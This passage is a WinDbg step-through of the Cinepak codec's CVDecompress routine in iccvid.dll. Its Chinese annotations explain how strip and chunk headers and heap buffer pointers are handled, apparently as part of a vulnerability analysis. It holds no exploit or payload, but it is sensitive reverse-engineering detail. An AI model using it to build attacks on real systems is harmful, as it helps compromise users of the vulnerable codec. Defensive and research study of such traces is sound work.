cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x9b:
73b72249 0f829b010000 jb iccvid!CVDecompress+0x23c (73b723ea) [br=0] ; 小于则跳转,这里不跳转
0:013> p
eax=0000005e ebx=001535b0 ecx=0000005e edx=025afd20 esi=00ba6902 edi=00000000
eip=73b7224f esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0xa1:
73b7224f 0fb65603 movzx edx,byte ptr [esi+3] ds:0023:00ba6905=10 ; edx = 0x10,Size of strip data的低位字节
0:013> p
eax=0000005e ebx=001535b0 ecx=0000005e edx=00000010 esi=00ba6902 edi=00000000
eip=73b72253 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0xa5:
73b72253 33c9 xor ecx,ecx ; ecx = ecx^ecx = 0x00000000
0:013> p
eax=0000005e ebx=001535b0 ecx=00000000 edx=00000010 esi=00ba6902 edi=00000000
eip=73b72255 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xa7:
73b72255 8a6e01 mov ch,byte ptr [esi+1] ds:0023:00ba6903=00 ; ch = 0x00,Strip CVID ID的低位字节
0:013> p
eax=0000005e ebx=001535b0 ecx=00000000 edx=00000010 esi=00ba6902 edi=00000000
eip=73b72258 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xaa:
73b72258 8a4e02 mov cl,byte ptr [esi+2] ds:0023:00ba6904=00 ; cl = 0x00,Size of strip data的高位字节
0:013> p
eax=0000005e ebx=001535b0 ecx=00000000 edx=00000010 esi=00ba6902 edi=00000000
eip=73b7225b esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xad:
73b7225b c1e108 shl ecx,8 ; ecx = 0x00000000,左移8位
0:013> p
eax=0000005e ebx=001535b0 ecx=00000000 edx=00000010 esi=00ba6902 edi=00000000
eip=73b7225e esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xb0:
73b7225e 0bca or ecx,edx ; 以大端读取Size of strip data
0:013> p
eax=0000005e ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6902 edi=00000000
eip=73b72260 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0xb2:
73b72260 3bc1 cmp eax,ecx ; 判断未解压缩的数据长度是否大于Size of strip data
0:013> p
eax=0000005e ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6902 edi=00000000
eip=73b72262 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0xb4:
73b72262 894df8 mov dword ptr [ebp-8],ecx ss:0023:025afd28=00000004 ; [ebp-8] = ecx = 0x10,Size of strip data
0:013> p
eax=0000005e ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6902 edi=00000000
eip=73b72265 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0xb7:
73b72265 0f827f010000 jb iccvid!CVDecompress+0x23c (73b723ea) [br=0] ; 小于则跳转,这里不跳转
0:013> p
eax=0000005e ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6902 edi=00000000
eip=73b7226b esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0xbd:
73b7226b 8a06 mov al,byte ptr [esi] ds:0023:00ba6902=10 ; al = 0x10,Strip CVID ID的高位字节
0:013> p
eax=00000010 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6902 edi=00000000
eip=73b7226d esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0xbf:
73b7226d 3c10 cmp al,10h ; 判断Strip CVID ID的高位字节是否为0x10
0:013> p
eax=00000010 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6902 edi=00000000
eip=73b7226f esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xc1:
73b7226f 7408 je iccvid!CVDecompress+0xcb (73b72279) [br=1] ; 相等则跳转,这里跳转
0:013> p
eax=00000010 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6902 edi=00000000
eip=73b72279 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xcb:
73b72279 8d4508 lea eax,[ebp+8] ; eax = 0x025afd38,a1地址,a1 = 0x001535b0
0:013> p
eax=025afd38 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6902 edi=00000000
eip=73b7227c esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xce:
73b7227c 50 push eax ; arg3 = eax = 0x025afd38,保存减去Strip Header大小后的数据大小
0:013> p
eax=025afd38 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6902 edi=00000000
eip=73b7227d esp=025afd00 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xcf:
73b7227d 6a0c push 0Ch ; arg2 = 0xC,Strip Header大小
0:013> p
eax=025afd38 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6902 edi=00000000
eip=73b7227f esp=025afcfc ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xd1:
73b7227f ff75f8 push dword ptr [ebp-8] ss:0023:025afd28=00000010 ; arg1 = 0x10,Size of strip data
0:013> p
eax=025afd38 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6902 edi=00000000
eip=73b72282 esp=025afcf8 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xd4:
73b72282 e8fffeffff call iccvid!ULongSub (73b72186) ; 如果arg1>=arg2,则返回0,且计算出减去Strip Header的大小后,剩余的数据大小,否则返回一个负数
0:013> p
eax=00000000 ebx=001535b0 ecx=00000004 edx=025afd38 esi=00ba6902 edi=00000000
eip=73b72287 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xd9:
73b72287 85c0 test eax,eax ; eax = 0x0
0:013> p
eax=00000000 ebx=001535b0 ecx=00000004 edx=025afd38 esi=00ba6902 edi=00000000
eip=73b72289 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xdb:
73b72289 0f8c65010000 jl iccvid!CVDecompress+0x246 (73b723f4) [br=0] ; 小于则跳转,这里不跳转
0:013> p
eax=00000000 ebx=001535b0 ecx=00000004 edx=025afd38 esi=00ba6902 edi=00000000
eip=73b7228f esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xe1:
73b7228f 33c0 xor eax,eax ; eax = 0x00000000
0:013> p
eax=00000000 ebx=001535b0 ecx=00000004 edx=025afd38 esi=00ba6902 edi=00000000
eip=73b72291 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xe3:
73b72291 8a6608 mov ah,byte ptr [esi+8] ds:0023:00ba690a=00 ; ah = 0x00,Strips bottom Y position的高位字节
0:013> p
eax=00000000 ebx=001535b0 ecx=00000004 edx=025afd38 esi=00ba6902 edi=00000000
eip=73b72294 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xe6:
73b72294 33c9 xor ecx,ecx ; ecx = ecx^ecx = 0x00000000
0:013> p
eax=00000000 ebx=001535b0 ecx=00000000 edx=025afd38 esi=00ba6902 edi=00000000
eip=73b72296 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xe8:
73b72296 8a6e04 mov ch,byte ptr [esi+4] ds:0023:00ba6906=00 ; ch = 0x00,Strips top Y position的高位字节
0:013> p
eax=00000000 ebx=001535b0 ecx=00000000 edx=025afd38 esi=00ba6902 edi=00000000
eip=73b72299 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xeb:
73b72299 8a4609 mov al,byte ptr [esi+9] ds:0023:00ba690b=60 ; al = 0x60,Strips bottom Y position的低位字节
0:013> p
eax=00000060 ebx=001535b0 ecx=00000000 edx=025afd38 esi=00ba6902 edi=00000000
eip=73b7229c esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xee:
73b7229c 8a4e05 mov cl,byte ptr [esi+5] ds:0023:00ba6907=00 ; cl = 0x00,Strips top Y position的低位字节
0:013> p
eax=00000060 ebx=001535b0 ecx=00000000 edx=025afd38 esi=00ba6902 edi=00000000
eip=73b7229f esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xf1:
73b7229f 2bc1 sub eax,ecx ; (Strips bottom Y position)-(Strips top Y position)
0:013> p
eax=00000060 ebx=001535b0 ecx=00000000 edx=025afd38 esi=00ba6902 edi=00000000
eip=73b722a1 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0xf3:
73b722a1 660faf432e imul ax,word ptr [ebx+2Eh] ds:0023:001535de=0001 ; ebx = a1 = 0x001535b0
0:013> p
eax=00000060 ebx=001535b0 ecx=00000000 edx=025afd38 esi=00ba6902 edi=00000000
eip=73b722a6 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0xf8:
73b722a6 89450c mov dword ptr [ebp+0Ch],eax ss:0023:025afd3c=00ba68f8 ; a2 = eax = 0x60 = [(Strips bottom Y position)-(Strips top Y position)]*1
0:013> p
eax=00000060 ebx=001535b0 ecx=00000000 edx=025afd38 esi=00ba6902 edi=00000000
eip=73b722a9 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0xfb:
73b722a9 8b45fc mov eax,dword ptr [ebp-4] ss:0023:025afd2c=00000000 ; eax = 0x00000000,堆缓冲区指针偏移
0:013> p
eax=00000000 ebx=001535b0 ecx=00000000 edx=025afd38 esi=00ba6902 edi=00000000
eip=73b722ac esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0xfe:
73b722ac 3bc7 cmp eax,edi ; 判断局部变量[ebp-4]是否为0
0:013> p
eax=00000000 ebx=001535b0 ecx=00000000 edx=025afd38 esi=00ba6902 edi=00000000
eip=73b722ae esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x100:
73b722ae 7421 je iccvid!CVDecompress+0x123 (73b722d1) [br=1] ; 为0则跳转,这里跳转
0:013> p
eax=00000000 ebx=001535b0 ecx=00000000 edx=025afd38 esi=00ba6902 edi=00000000
eip=73b722d1 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x123:
73b722d1 8b7df4 mov edi,dword ptr [ebp-0Ch] ss:0023:025afd24=00ba6902 ; edi = [ebp-0xC] = 0x00ba6902,指向cinepak_codec_data2
0:013> p
eax=00000000 ebx=001535b0 ecx=00000000 edx=025afd38 esi=00ba6902 edi=00ba6902
eip=73b722d4 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x126:
73b722d4 8b4320 mov eax,dword ptr [ebx+20h] ds:0023:001535d0=001535f8 ; ebx = a1 = 0x001535b0,eax = 0x001535f8,堆缓冲区数据区域首地址
0:013> p
eax=001535f8 ebx=001535b0 ecx=00000000 edx=025afd38 esi=00ba6902 edi=00ba6902
eip=73b722d7 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x129:
73b722d7 83c70c add edi,0Ch ; edi = edi+0xC = 0x00ba690e,指向第1个CVID Chunk ID
0:013> p
eax=001535f8 ebx=001535b0 ecx=00000000 edx=025afd38 esi=00ba6902 edi=00ba690e
eip=73b722da esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x12c:
73b722da 0345fc add eax,dword ptr [ebp-4] ss:0023:025afd2c=00000000 ; eax = 0x001535f8(堆缓冲区数据区域首地址),[ebp-4] = 0x0(堆缓冲区指针偏移)
0:013> p
eax=001535f8 ebx=001535b0 ecx=00000000 edx=025afd38 esi=00ba6902 edi=00ba690e
eip=73b722dd esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x12f:
73b722dd 8d4e0c lea ecx,[esi+0Ch] ; ecx = 0x00ba690e,指向第1个CVID Chunk ID
0:013> p
eax=001535f8 ebx=001535b0 ecx=00ba690e edx=025afd38 esi=00ba6902 edi=00ba690e
eip=73b722e0 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x132:
73b722e0 894338 mov dword ptr [ebx+38h],eax ds:0023:001535e8=00000000 ; eax = 0x001535f8,堆缓冲区数据区域首地址
0:013> p
eax=001535f8 ebx=001535b0 ecx=00ba690e edx=025afd38 esi=00ba6902 edi=00ba690e
eip=73b722e3 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x135:
73b722e3 8b4520 mov eax,dword ptr [ebp+20h] ss:0023:025afd50=00000540 ; eax = a7 = 0x540
0:013> p
eax=00000540 ebx=001535b0 ecx=00ba690e edx=025afd38 esi=00ba6902 edi=00ba690e
eip=73b722e6 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x138:
73b722e6 894de8 mov dword ptr [ebp-18h],ecx ss:0023:025afd18=00ba6902 ; [ebp-18h] = ecx = 0x00ba690e,指向第1个CVID Chunk ID
0:013> p
eax=00000540 ebx=001535b0 ecx=00ba690e edx=025afd38 esi=00ba6902 edi=00ba690e
eip=73b722e9 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x13b:
73b722e9 89433c mov dword ptr [ebx+3Ch],eax ds:0023:001535ec=00000000 ; eax = a7 = 0x540
0:013> p
eax=00000540 ebx=001535b0 ecx=00ba690e edx=025afd38 esi=00ba6902 edi=00ba690e
eip=73b722ec esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x13e:
73b722ec e9be000000 jmp iccvid!CVDecompress+0x201 (73b723af)
0:013> p
eax=00000540 ebx=001535b0 ecx=00ba690e edx=025afd38 esi=00ba6902 edi=00ba690e
eip=73b723af esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x201:
73b723af 837d0804 cmp dword ptr [ebp+8],4 ss:0023:025afd38=00000004 ; 判断Size of strip data减去Strip Header大小后的数据大小是否大于等于4
0:013> p
eax=00000540 ebx=001535b0 ecx=00ba690e edx=025afd38 esi=00ba6902 edi=00ba690e
eip=73b723b3 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x205:
73b723b3 0f8338ffffff jae iccvid!CVDecompress+0x143 (73b722f1) [br=1] ; 大于等于则跳转,这里跳转
0:013> p
eax=00000540 ebx=001535b0 ecx=00ba690e edx=025afd38 esi=00ba6902 edi=00ba690e
eip=73b722f1 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x143:
73b722f1 0fb64103 movzx eax,byte ptr [ecx+3] ds:0023:00ba6911=00 ; ecx = 0x00ba690e,指向第1个CVID Chunk ID,eax = 0x00,Size of chunk data的低位字节
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba690e edx=025afd38 esi=00ba6902 edi=00ba690e
eip=73b722f5 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x147:
73b722f5 33d2 xor edx,edx ; edx = edx^edx = 0x00000000
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b722f7 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x149:
73b722f7 8a7101 mov dh,byte ptr [ecx+1] ds:0023:00ba690f=00 ; dh = 0x00,第1个CVID Chunk ID的低位字节
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b722fa esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x14c:
73b722fa 8a5102 mov dl,byte ptr [ecx+2] ds:0023:00ba6910=00 ; dl = 0x00,Size of chunk data的高位字节
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b722fd esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x14f:
73b722fd c1e208 shl edx,8 ; edx = 0x00000000,左移8位
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b72300 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x152:
73b72300 0bd0 or edx,eax ; 以大端读取Size of chunk data
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b72302 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x154:
73b72302 395508 cmp dword ptr [ebp+8],edx ss:0023:025afd38=00000004 ; 判断Size of strip data减去Strip Header大小后的数据大小是否小于Size of chunk data
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b72305 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x157:
73b72305 8955e0 mov dword ptr [ebp-20h],edx ss:0023:025afd10=00000000 ; [ebp-20h] = edx = 0x00000000,Size of chunk data
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b72308 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x15a:
73b72308 0f82ab000000 jb iccvid!CVDecompress+0x20b (73b723b9) [br=0] ; 小于则跳转,这里不跳转
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b7230e esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x160:
73b7230e 0fb601 movzx eax,byte ptr [ecx] ds:0023:00ba690e=20 ; eax = 0x00000020,第1个CVID Chunk ID的高位字节
0:013> p
eax=00000020 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b72311 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x163:
73b72311 83c0e0 add eax,0FFFFFFE0h ; switch cases,0x20+0xFFFFFFE0=0x0,0x32+0xFFFFFFE0=0x12
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b72314 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000247
iccvid!CVDecompress+0x166:
73b72314 83f812 cmp eax,12h ; eax>0x12,则第1个CVID Chunk ID的高位字节大于0x32
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b72317 esp=025afd04 ebp=025afd30 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
iccvid!CVDecompress+0x169:
73b72317 777d ja iccvid!CVDecompress+0x1e8 (73b72396) [br=0] ; 大于则跳转,default case,这里不跳转
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b72319 esp=025afd04 ebp=025afd30 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
iccvid!CVDecompress+0x16b:
73b72319 0fb6801024b773 movzx eax,byte ptr iccvid!CVDecompress+0x262 (73b72410)[eax] ds:0023:73b72410=00 ; indirect table for switch statement
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b72320 esp=025afd04 ebp=025afd30 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
iccvid!CVDecompress+0x172:
73b72320 ff2485f823b773 jmp dword ptr iccvid!CVDecompress+0x24a (73b723f8)[eax*4] ds:0023:73b723f8=73b72327 ; jump table for switch statement
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b72327 esp=025afd04 ebp=025afd30 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
iccvid!CVDecompress+0x179:
73b72327 ff7330 push dword ptr [ebx+30h] ds:0023:001535e0=00000000 ; arg4,ebx = a1 = 0x001535b0
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b7232a esp=025afd00 ebp=025afd30 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
iccvid!CVDecompress+0x17c:
73b7232a ff7334 push dword ptr [ebx+34h] ds:0023:001535e4=001595f8 ; arg3,ebx = a1 = 0x001535b0,0x001595f8为堆块数据区域尾指针
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b7232d esp=025afcfc ebp=025afd30 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
iccvid!CVDecompress+0x17f:
73b7232d ff7338 push dword ptr [ebx+38h] ds:0023:001535e8=001535f8 ; arg2,ebx = a1 = 0x001535b0,0x001535f8为堆块数据区域首指针
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b72330 esp=025afcf8 ebp=025afd30 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
iccvid!CVDecompress+0x182:
73b72330 57 push edi ; arg1,edi = 0x00ba690e,指向第1个CVID Chunk ID
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b72331 esp=025afcf4 ebp=025afd30 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
iccvid!CVDecompress+0x183:
73b72331 ff13 call dword ptr [ebx] ds:0023:001535b0={iccvid!ExpandCodeBook32 (73b79f3b)} ; 展开Codebooks
0:013> p
eax=00000000 ebx=001535b0 ecx=00000000 edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b72333 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x185:
73b72333 eb61 jmp iccvid!CVDecompress+0x1e8 (73b72396) ; switch代码块之后的代码块
0:013> p
eax=00000000 ebx=001535b0 ecx=00000000 edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b72396 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x1e8:
73b72396 8b55e0 mov edx,dword ptr [ebp-20h] ss:0023:025afd10=00000000 ; edx = [ebp-20h] = 0x00000000,Size of chunk data
0:013> p
eax=00000000 ebx=001535b0 ecx=00000000 edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b72399 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x1eb:
73b72399 8b4de8 mov ecx,dword ptr [ebp-18h] ss:0023:025afd18=00ba690e ; ecx = [ebp-18h] = 0x00ba690e,指向第1个CVID Chunk ID
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b7239c esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x1ee:
73b7239c 33c0 xor eax,eax ; eax = eax^eax = 0x00000000
0:013> p
eax=00000000 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b7239e esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x1f0:
73b7239e 03ca add ecx,edx ; ecx指向第1个CVID Chunk ID,edx为Size of chunk data
0:013> p
